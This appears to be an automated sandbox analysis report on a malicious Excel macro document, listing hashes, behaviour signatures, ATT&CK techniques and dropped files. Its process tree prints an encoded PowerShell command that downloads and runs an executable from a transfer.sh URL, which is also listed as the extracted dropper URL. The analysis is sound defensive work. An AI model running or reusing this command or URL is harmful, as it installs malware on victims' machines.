Analysis

  • max time kernel
    123s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    10-10-2021 11:48

General

  • Target

    ORDER 002110109A.xlsm

  • Size

    388KB

  • MD5

    fddb915231bd05bdb40250bd9ca9327a

  • SHA1

    95e69dffccc8c93611de153fd9993faefc4b0f5f

  • SHA256

    06e223bb2af0e00e3c5c7d2a0574e0cf69716f82432665221d49f62a8613b5ed

  • SHA512

    da06766a2de1c0008ee9ed1d575bf8500a09ba511d056beb2c84e44ce7457d7e319c156695176de87247ca7faac68ea65af6216d47075f67341e6c2b61b13b43

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://transfer.sh/get/ii6Fqb/word.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 11 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\ORDER 002110109A.xlsm"
    1⤵
    • Deletes itself
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: RenamesItself
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c Wzjokpltbfr.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1236
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBLAGcAdwB1AGcAcgBmAG0AYQB1AGsAYgBjAGIAawBnAHUAbQB1AC4AZQB4AGUAIgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQALwBpAGkANgBGAHEAYgAvAHcAbwByAGQALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcACQAUAByAG8AYwBOAGEAbQBlACIAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
        3⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:620
        • C:\Users\Admin\AppData\Roaming\Kgwugrfmaukbcbkgumu.exe
          "C:\Users\Admin\AppData\Roaming\Kgwugrfmaukbcbkgumu.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1424
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1060
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1048
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1392
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1676
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1920
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1464
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1572
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1692
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:676
          • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
            5⤵
            • Executes dropped EXE
            PID:1016

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

2
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Roaming\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\AppData\Roaming\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • C:\Users\Admin\Documents\Wzjokpltbfr.bat
    MD5

    29e9b22feef3c9266a3228072aff9cca

    SHA1

    a7632e340c2929ed5dace6c266250cebc3c13ab2

    SHA256

    04f1edaab7365adc160f7a50e9376ae3cfa717900765fad12fbd67c5fc767684

    SHA512

    775587f577aa0be54a33ecac0ded78d4780cfeca3973867f296c543f37f21008e353772c096d4e4992298a995868a4715197950976dde2b3f55339c6d8c49f82

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Local\Temp\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • \Users\Admin\AppData\Roaming\Kgwugrfmaukbcbkgumu.exe
    MD5

    4adb3a47d33b76506499d2be6b60351a

    SHA1

    5305fdc90c3ba06867d3765e826c1fa1312d7e0f

    SHA256

    d748773cdc253a048d98daf2dfbeed332f5609b1718c64362b6739f5ef1fc7b2

    SHA512

    9f7974c7f722b2fab301ca64abf9bf243ba1e4d958c1d5cdc3be0db12acfe7101165e5c950d8571d20910afce4982b58b7625c42b6526b93dccd3687141f78dd

  • memory/620-60-0x0000000002320000-0x0000000002321000-memory.dmp
    Filesize

    4KB

  • memory/620-61-0x0000000002321000-0x0000000002322000-memory.dmp
    Filesize

    4KB

  • memory/620-62-0x0000000002322000-0x0000000002324000-memory.dmp
    Filesize

    8KB

  • memory/620-58-0x0000000000000000-mapping.dmp
  • memory/620-59-0x0000000075FC1000-0x0000000075FC3000-memory.dmp
    Filesize

    8KB

  • memory/1080-53-0x000000002F261000-0x000000002F264000-memory.dmp
    Filesize

    12KB

  • memory/1080-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1080-54-0x00000000717B1000-0x00000000717B3000-memory.dmp
    Filesize

    8KB

  • memory/1080-92-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1236-56-0x0000000000000000-mapping.dmp
  • memory/1424-82-0x00000000022B0000-0x00000000022B1000-memory.dmp
    Filesize

    4KB

  • memory/1424-64-0x0000000000000000-mapping.dmp
  • memory/1424-69-0x0000000004890000-0x000000000495B000-memory.dmp
    Filesize

    812KB

  • memory/1424-67-0x0000000000CA0000-0x0000000000CA1000-memory.dmp
    Filesize

    4KB

  • memory/1424-70-0x0000000000450000-0x0000000000462000-memory.dmp
    Filesize

    72KB